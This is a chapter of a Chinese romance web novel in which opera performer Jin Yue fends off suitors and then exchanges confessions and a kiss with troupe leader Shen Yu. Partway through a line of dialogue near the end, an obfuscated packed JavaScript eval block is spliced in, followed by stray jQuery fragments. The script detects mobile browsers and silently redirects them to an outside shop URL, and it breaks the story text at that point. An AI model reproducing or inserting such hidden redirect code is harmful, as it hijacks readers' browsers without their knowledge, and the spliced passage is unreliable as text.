《白蛇传》公演之后,今越的生活发生了翻天覆地的变化。
最直观的变化,就是追求者突然多了起来。
起初是信,每天传达室的老大爷都会拿着一沓信,扯着嗓子喊她的名字。
信来自四面八方,有省城本地的,有周边县市的,还有从外省寄来的。
写信的人各行各业都有,有机关干部,有工厂工人,有学校教员,还有几个自称是诗人的,在信里附上了写给她的情诗。
今越一开始还拆开看看,后来实在太多了,看不过来,干脆堆在宿舍角落里,攒够了就卖给收破烂的,换了三毛钱买了根冰棍吃。
然后是当面表白的。
有一天傍晚,她刚从练功房出来,满头大汗,还没来得及洗脸,就被一个穿白衬衫的年轻人拦住了去路。
那人梳着一个三七分的头,头发上抹了厚厚的发蜡,手里捧着一束红玫瑰,单膝跪地,用一种朗诵诗歌的语调说了一番仰慕之情。
今越看着他,又看了看他手里的玫瑰花,沉默了片刻,然后绕过他,径直走了。
还有更大胆的,直接追到了学院里来。
一个周末的上午,一辆黑色的吉普车停在了学院门口,车上下来一个穿着皮夹克的年轻人,戴着墨镜,倚在车门上,说要找今越同志“聊聊”。
门卫老大爷拦着不让进,那人就在门口等了一个多小时。
后来今越从外面回来,那人迎上来殷勤地自我介绍,说他是什么什么局长的儿子。
今越上下打量了他一眼,说:“交朋友可以,你先去把烟戒了。”
那人一愣,今越已经头也不回地进了校门。
这样的事情隔三差五就会发生一次。
今越从一开始的不知所措,到后来的习以为常,再到最后的麻木不仁,前后不过半个月的时间。
她对这些追求者没什么兴趣。
不是她眼光高,而是她觉得这些人喜欢的根本就不是她本人,他们喜欢的是舞台上那个光彩照人的白素贞,是报纸上那个被吹得天花乱坠的“新星”,是他们自己想象中的那个完美形象。
他们不知道真实的她是什么样的。
可在这群追求者里,有一个人,让今越有些头疼。
这人叫周彦青,是省话剧团的年轻演员,长得一表人才,一米八几的大高个,浓眉大眼,笑起来露出一口白牙,颇有几分电影明星的味道。
他是在《白蛇传》公演那天看了今越的演出,从此一发不可收拾,隔三差五就往学院跑。
周彦青不像其他人那样死缠烂打,他很懂得把握分寸。
他不堵门,不送花,不写那些肉麻的情诗,只是每次来都带一些实用的东西,有时候是一罐自家腌的咸菜,有时候是几斤水果,有时候是一本书。
他把东西交给门卫老大爷,托他转交给今越,然后就走,从不逗留。
这让今越有些不知道该怎么办才好。
她可以毫不客气地怼走那些死缠烂打的人,可面对周彦青这种彬彬有礼的攻势,她反倒不知该如何拒绝了。
更让她头疼的是,周彦青和沈聿认识。
两人偶尔会在一些会议上碰面。
周彦青知道今越和沈聿认识之后,不但没有避讳,反而经常在沈聿面前提起今越,言语之间满是欣赏和爱慕之意。
有一次,三人恰好在一个场合碰上了。
那是省文化厅举办的一个小型座谈会,会后有个简单的便餐。
今越作为《白蛇传》的主演受邀参加,沈聿和周彦青也都在场。
吃饭的时候,周彦青端着酒杯坐到今越旁边,殷勤地给她夹菜、倒水,嘘寒问暖,周到得让今越浑身不自在。
沈聿坐在对面,和旁边的人说着话,似乎没有注意到这边的情形。
周彦青给今越剥了一只虾,放在她碗里,笑着说:“今越同志,你太瘦了,多吃点。回头我再给你带些我们老家寄来的红枣,补气血的,你练功辛苦,得好好补补。”
今越看着碗里那只虾,尴尬地道了声谢,却没有动筷子。
她偷偷抬眼去看沈聿。
沈聿正在和旁边的一位老艺术家交谈,神色如常,面带微笑,看不出任何异样。
他似乎完全没有注意到周彦青对她的殷勤,甚至连看都没有往这边看一眼。
今越心里忽然有些不是滋味。
她说不上来这是一种什么感觉。
她希望沈聿注意到,又害怕他注意到。
他如果真的不在意,她会失落,他如果在意的,她又不知道该怎么面对。
周彦青见她眼神总是往那边飞,半开玩笑半认真地说:“沈团长,你跟今越同志熟,你帮我美言几句呗?我是真心实意的,就想跟她处处对象。”
沈聿端着茶杯,闻言笑了笑,不紧不慢地说:“这个忙我可帮不了。感情的事,得看缘分,外人插不上嘴。”
周彦青大大咧咧地往椅背上一靠,笑着说:“那我可就不客气了,我自己争取。反正你沈团长条件这么好,也不愁找不着对象,就别跟我抢了。”
这话说得半真半假,带着玩笑的口吻,可话里的意思却再明显不过了。
换成一般人,听到这话,多少会有些不自在。
可沈聿只是微微一笑,放下茶杯,语气平淡而真诚:“你说得对,我确实还不够优秀,配不上她。”
这话一出,周彦青愣住了。
他本来以为沈聿会辩解两句,或者打个哈哈把话题岔过去,没想到他竟然这么坦然地承认了。
这种坦荡,反倒让周彦青觉得自己刚才那番话有些小家子气了。
今越坐在一旁,听着沈聿说出那句话,心里忽然像是被什么东西轻轻地撞了一下。
“我确实还不够优秀,配不上她。”
他说这句话的时候,语气那么平静,那么坦然,没有一丝一毫的勉强和做作。他是真心实意地觉得,自己还不够好。
可今越想告诉他,他已经很好了。
好到她有时候都不敢相信,这个世界上真的有这么好的人。
一顿饭吃下来,她食不知味。
饭后,大家在门口道别。
周彦青热情地提出要送今越回学院,今越正要婉拒,沈聿忽然开口了。
“周同志,正好我也要往那个方向去,我送她吧。”他的语气很平淡,像是在说一件再寻常不过的事情。
周彦青愣了一下,随即笑道:“那敢情好,麻烦沈团长了。”
沈聿点了点头,没有多说。
两个人并肩走出了大门。初春的夜风迎面吹来,带着些许凉意,今越忍不住缩了缩脖子。
沈聿走在她身旁,沉默着,没有说话。
两个人走了一段路,谁也没有开口。
今越偷偷侧过头去看他。
路灯的光从上方洒下来,在他脸上投下柔和的阴影,他的表情很平静,看不出任何情绪。
可今越总觉得,今天的他和平时不太一样,平时的他虽然话不多,可总给人一种温煦如风的感觉,可今天,他身上那股温和的气息似乎收敛了起来,取而代之的是一种若有若无的疏离感。
“沈团长,”她试着打破沉默,“你今天好像不太高兴?”
沈聿的脚步微微顿了一下,随即恢复了正常。
他没有回答这个问题,而是反问了一句:“那个周彦青,经常去找你?”
今越心里咯噔一下,面上却故作轻松地说:“也不算经常吧,就是隔三差五送点东西来。”
沈聿“嗯”了一声,没有下文了。
又走了一段路,他忽然开口,声音很轻,像是自言自语:“他倒是殷勤。”
今越的心跳猛地快了一拍。她侧过头去看他,可他的脸隐在路灯照不到的阴影里,看不清表情。
“沈团长,”她咬了咬嘴唇,鬼使神差地问了一句,“你……你是不是不高兴了?”
沈聿没有立刻回答。他沉默了一会儿,停下脚步,转过身来看着她。
路灯的光从侧面照过来,照亮了他半边脸。
他的表情依然是平静的,可他的眼睛里像是被风吹皱的湖水,表面上波澜不兴,底下却有暗流涌动。
“我不高兴,”他说,声音很低,带着一丝无奈的苦笑,“我有什么资格不高兴。”
这句话说得极轻,像是说给自己听的。
可今越听见了,每一个字都听得清清楚楚。
她的心像是被什么东西狠狠地攥了一下,酸酸胀胀的,说不清是疼还是别的什么。
她想说点什么,可张了张嘴,却不知道该说什么。
她从来没见过沈聿这个样子,他一向是沉稳的、从容的、无所不能的,可此刻的他,却像一个普通的、会吃醋、会不安的男人。
她忽然觉得,他离她近了一些。
沈聿似乎也意识到自己失态了,很快调整了表情,恢复了平日里的温和模样。他笑了笑,说:“走吧,不早了,我送你回去。”
接下来的路,两个人依然沉默着,可那种沉默和来时已经不一样了。
那沉默里有了一种微妙的东西,像是一根看不见的丝线,在两个人之间轻轻地拉扯着,若有若无,却牵扯着彼此的神经。
到了学院门口,沈聿停下了脚步。
“到了,”他说,“你进去吧。”
今越站在门口,没有立刻进去。
她低着头,看着自己的鞋尖,沉默了好一会儿,忽然抬起头来,看着沈聿,问了一句:“沈团长,你下次什么时候有空?”
沈聿微微一怔。
“我……”今越咬了咬嘴唇,声音有些含糊,“我想请你看电影。上次你请了我,这次该我了。”
她说这话的时候,眼睛没有看他,而是盯着他身后那棵梧桐树的树干,好像那棵树上有花儿似的。
沈聿看着她那副别扭的样子,眼底的阴霾忽然散去了大半。
他嘴角微微弯了一下,说:“后天晚上有空。”
“那好,”今越快声快语地说,“后天晚上七点,电影院门口见。”
说完,不等沈聿回答,转身就跑进了校门。
沈聿站在门口,看着她跑远的背影,看着她的辫子在身后一跳一跳的,嘴角的弧度不自觉地扩大了几分。
他在门口站了好一会儿,才转身离开。
到了约定的那天,今越从下午就开始心神不宁。
她翻遍了衣柜,找不到一件满意的衣服。
最后还是穿上了沈聿送她的那件粉色的确良衬衫,她舍不得穿,一直叠得整整齐齐地压在枕头底下,今天才第一次上身。
她对着镜子把辫子编了三遍,每一遍都觉得不满意,拆了重编,折腾了半个小时才算勉强满意。
她还偷偷借了室友的雪花膏,抹了一点点,又觉得太香了,洗掉了一半。
室友靠在床头,嗑着瓜子看她忙前忙后,笑得意味深长:“哟,这是要去见谁呀?打扮得这么仔细。”
“没谁,”今越故作镇定,“就……一个朋友。”
“朋友?”室友拉长了声调,“什么朋友值得你这么打扮?我看是对象吧?”
“别瞎说!”今越的脸一下子红了,抓起书包就往外跑,“我走了!”
身后传来室友一阵爽朗的笑声。
她到电影院门口的时候,沈聿已经到了。
他今天穿了一件白色的衬衫,头发梳得整整齐齐,整个人看起来比平时多了几分儒雅的书卷气。
他站在电影院门口的台阶上,看见今越来了,微微笑了一下。
今越走到他面前,故作大方地说:“走吧,票我已经买好了。”
沈聿看了她一眼,目光在她身上那件粉色衬衫上停留了一瞬,眼底掠过一丝不易察觉的柔和。
他没有说什么,只是点了点头,跟在她身后走进了电影院。
电影是一部国产的爱情片,讲的是战争年代一对恋人分离又重逢的故事。
剧情算不上多精彩,可胜在情感真挚,有几个片段颇为动人。
今越坐在座位上,眼睛盯着银幕,可心思却完全不在电影上。
她能感觉到沈聿就坐在她旁边,能闻到他身上那股淡淡的皂角气味,能感觉到他的手臂偶尔碰到她时带来的那一瞬间的触电感。
她的心跳得很快,快到她觉得整个放映厅都能听见。
她偷偷地用余光去看他。
他的侧脸在银幕忽明忽暗的光线下显得格外好看,鼻梁很高,下颌线条流畅,睫毛在光影中投下一小片阴影。
他的表情很专注,似乎真的在看电影,可今越注意到,他的手放在膝盖上,手指无意识地轻轻敲打着膝盖,频率有些快。
他在紧张。
这个发现让今越心里忽然生出了一丝小小的、隐秘的欢喜。
原来不止她一个人在紧张。
电影放到后半段,银幕上出现了男女主角在雨中分别的场景。
女主角把自己的围巾解下来,系在男主角的脖子上,红着眼眶说:“你一定要回来。”
男主角握住她的手,郑重地点了点头。
放映厅里响起了一阵低低的叹息声。
今越看着银幕,忽然感觉到自己的手被什么东西碰了一下。
很轻,像是无意间的触碰。
她低下头,看见沈聿的手不知道什么时候放在了两个人座位之间的扶手上,离她的手很近,近到稍微动一动就能碰到。
他的手指微微蜷曲着,似乎在犹豫什么。
今越的心跳骤然加速。
她没有把手缩回去。
她也没有把手伸过去。
她就那么保持着原来的姿势,一动不动,连呼吸都放轻了。
两个人的手就那么近在咫尺地放着,相隔不到一寸的距离,谁也没有再动。
可那一寸的距离里,却像是蕴含着千钧的重量,压得两个人都喘不过气来。
电影结束了,灯光亮起,观众们纷纷起身离场。
两个人几乎是同时把手收了回去,谁也没有看谁,可两个人的耳朵都红透了。
从电影院出来,天色已经全黑了。
街道两旁的路灯亮起来,橘黄色的光线在夜风中摇曳,在地面上投下一团团模糊的光晕。
两个人并肩走着,谁也没有说话。
可那种沉默并不尴尬,反而有一种奇异的默契,像是两个人都知道,有些话不需要说出口,也能彼此明白。
走过一家服装店的时候,沈聿忽然停下了脚步。
他看了一眼橱窗里挂着的一件连衣裙,转过头来,对今越说:“进去看看吧。”
今越愣了一下:“啊?”
“我看你翻来覆去就那么几件衣服,”沈聿的语气很随意,像是在说一件很平常的事情,“进去挑一件,算我送你的。”
今越连忙摆手:“不用不用,我有衣服穿——”
“走吧。”沈聿没有给她拒绝的机会,率先推门走了进去。
今越站在门口,犹豫了一下,还是跟了进去。
服装店不大,墙上挂着各式各样的衣服,大多是的确良和涤卡面料的,颜色以蓝、灰、黑为主,偶尔有几件亮色的。
沈聿在店里走了一圈,目光落在了一件淡绿色的连衣裙上。
他伸手把那件裙子取下来,递给今越:“试试这件。”
今越看着那件裙子,有些迟疑。
那是一件很漂亮的裙子,圆领,短袖,腰间有一条细细的带子,可以系成一个蝴蝶结。
料子是的确良的,摸起来滑滑的,颜色是很浅很浅的绿色。
“太嫩了吧?”她小声说。
沈聿说,“你皮肤白,穿绿色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947732|213230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
好看。”
今越的脸又红了。
她接过裙子,磨磨蹭蹭地去了试衣间。
过了一会儿,她出来了。
沈聿转过身,看见她的那一刻,微微怔了一下。
那件裙子穿在今越身上,出乎意料地合身。淡淡的绿色衬得她的肤色更加白皙,腰间的蝴蝶结系出一个好看的弧度,裙摆刚好到膝盖上方一点,露出一截匀称的小腿。
她站在灯光下,有些不好意思地低着头,双手不自觉地扯着裙摆,整个人看起来像一朵含苞待放的桃花。
“怎么样?”她抬起头,有些忐忑地看着沈聿。
沈聿看着她,目光里有一种她从未见过的温柔。
像是一汪春水,无声无息地流淌出来,将他平日里那份沉稳内敛的外壳融化了一角。
“好看。”他说。
今越的脸更红了,低下头,假装在看裙子的做工,小声说:“那……那就这件吧。”
沈聿去付了钱。
今越本来想拦着,可沈聿根本不给她机会,直接把钱递给了柜台。
她只好站在一旁,心里暗暗想着,等以后有钱了一定要还给他。
从服装店出来,夜风迎面吹来,带着初春特有的湿润气息。
今越穿着新裙子,走在沈聿身旁,心里有一种说不出的欢喜,不是因为裙子本身,而是因为这是他送的。
两个人沿着街道慢慢地走着。
路灯把他们的影子拉得很长很长,两道影子时而交叠在一起,时而分开,像是在跳一支无声的舞。
走到一个路口的时候,沈聿忽然停下了脚步。
今越也跟着停了下来,疑惑地抬起头,正要问他怎么了,却发现他正看着她。
路灯的光从他身后照过来,在他脸上投下柔和的阴影,让他的五官看起来比平时更加深邃。
“今越。”他叫了她的名字。
他的声音和平常不太一样。
带着一丝不易察觉的紧绷,像是在做一个重要的决定。
“嗯?”今越抬起头,看着他。
沈聿看着她,沉默了几秒钟。
他伸出手,轻轻地握住了她的手。
他的手掌干燥而温暖,包裹着她微凉的手指。
那触感像是一道电流,从指尖一路窜到心脏,今越觉得自己的心像是被什么东西猛地撞了一下,整个人都僵住了。
他没有握得很紧,只是轻轻地握着,像是在试探她的反应。
拇指在她的手背上轻轻地摩挲了一下,那动作极轻极慢,带着一种小心翼翼的珍重,像是在抚摸一件易碎的瓷器。
今越的呼吸停滞了一瞬。她没有抽回手,也没有说话。
她只是低着头,看着两个人交握的手,感觉自己的心跳快得像要从胸腔里蹦出来。
沈聿见她没有抗拒,手指微微收紧了一些,将她的手完完整整地握在了掌心里。
“我一直在想,该什么时候跟你说。”他的声音很低,却很清晰,一字一句地落入她的耳朵里,“我怕说得太早了,会吓着你。又怕说得太晚了,你会被别人抢走。”
今越的睫毛颤了颤,依然没有抬头。
“周彦青来找你的时候,我心里很不舒服。”沈聿继续说,声音里带着一丝苦涩的笑意,“我以前从来不知道自己会这样。我以为我可以很坦然地面对任何事情,可看到他给你夹菜、对你笑的时候,我发现我做不到。”
他停顿了一下,像是在组织语言:“那一刻我才知道,原来我也是一个会嫉妒的普通人。”
今越终于抬起头来,看着他。
他的眼睛里,有一种近乎脆弱的坦诚。
那种坦诚像是一层一层剥开自己的外壳,把最柔软的内心暴露在她面前。
她的心像是被什么东西狠狠地揉了一下,又酸又软。
“沈聿。”她叫了他的名字。
这是她第一次叫他的名字,没有带“团长”两个字。
沈聿的呼吸明显地顿了一下。
今越咬了咬嘴唇,声音有些发颤,却很清晰:“你不用怕被别人抢走。我这个人很倔的,认定了一个人,就不会改了。”
这句话说出口,她的脸已经红透了,可她硬撑着没有低下头,就那么直直地看着他。
沈聿看着她,心里像是有什么东西轰然倒塌了。
他伸手,轻轻地捧住了她的脸。
他的手指温热而干燥,贴在她滚烫的脸颊上,带来一阵轻微的颤栗。
拇指轻轻地拂过她的颧骨,动作温柔得像是在触碰一朵花瓣。
今越的呼吸完全停止了。
沈聿低下头,慢慢地靠近她。
他的动作很慢,像是在给她足够的时间退缩。
可今越没有退缩,她闭上了眼睛。
他的嘴唇落在了她的额头上。
很轻,很轻的一个吻,像是一片羽毛落在皮肤上,带着他温热的呼吸,和一丝若有若无的颤抖。
那个吻在额头上停留了几秒钟,然后他缓缓地移开,嘴唇顺着她的眉心滑落到她的鼻尖,又在那里停留了片刻。
今越的睫毛剧烈地颤动着,像是蝴蝶的翅膀。
最后,他的嘴唇落在了她的唇上。
那个吻依然是轻柔的,甚至是小心翼翼的,像是在品尝一颗尚未成熟的果实,带着试探和珍重。
他的嘴唇很温暖,带着一点点干涩,贴在她的唇上,轻轻地摩挲着。
今越觉得自己的大脑一片空白,什么都想不起来了。
她只能感觉到他的气息拂在她的脸上,他的嘴唇贴在她的唇上,他握着她手的那只手微微收紧,像是在极力克制着什么。
她不知道自己是怎么回应他的。
她只知道,当她反应过来的时候,她的手已经攥住了他胸口的衣襟,攥得很紧,像是怕他会忽然消失一样。
沈聿感觉到了她的回应,身体微微僵了一下,然后他加深了这个吻。
不再是方才那般小心翼翼的了,而是带上了一种压抑已久的、汹涌的情感。
他的手臂环过她的腰,将她整个人拥进了怀里,箍得很紧,像是要把她揉进自己的身体里。
今越闻着他身上那股淡淡的皂角气味,感受着他胸膛的温度透过衣料传递过来,忽然觉得鼻子有些发酸。
她想起那些年受过的苦,想起师父去世时的绝望,想起被人造黄谣时的愤怒,想起一个人在练功房里练到深夜的孤独。
那些日子,她以为自己是一个人扛过来的。可此刻她才意识到,原来他一直都在。
不远不近地,安安静静地,一直都在。
她的眼泪毫无预兆地掉了下来。
沈聿感觉到胸口的衣襟湿了一片,连忙松开了她,看见她满脸是泪,顿时慌了神:“怎么了?是不是我——”
今越摇了摇头,哽咽着说:“没事。我就是……太高兴了。”
沈聿看着她哭得稀里哗啦的样子,又是心疼又是好笑。
他伸手替她擦去脸上的泪水,指腹轻轻划过她的脸颊,动作温柔得像是在对待全世界最珍贵的宝贝。
“别哭了,”他低声说,“再哭就不好看了。”
今越吸了吸鼻子,瓮声瓮气地说:“不好看你也得认了,反正你已经亲过我了。”
沈聿愣了一下,随即忍不住笑了出来,在安静的夜色中格外好听。
他重新握住她的手,十指相扣。
“走吧,”他说,声音里带着一丝掩饰不住的愉悦,“我送你回去。”
两个人并肩走在夜晚的街道上,手牵着手,谁也没有再说话。
路灯把他们的影子拉得很长很长,两道影子交叠在一起,分不清彼此。
春风拂过街道两旁的梧桐树,嫩绿的叶片在灯光下轻轻摇曳,发出沙沙的声响,像是在低声吟唱一首关于春天的歌。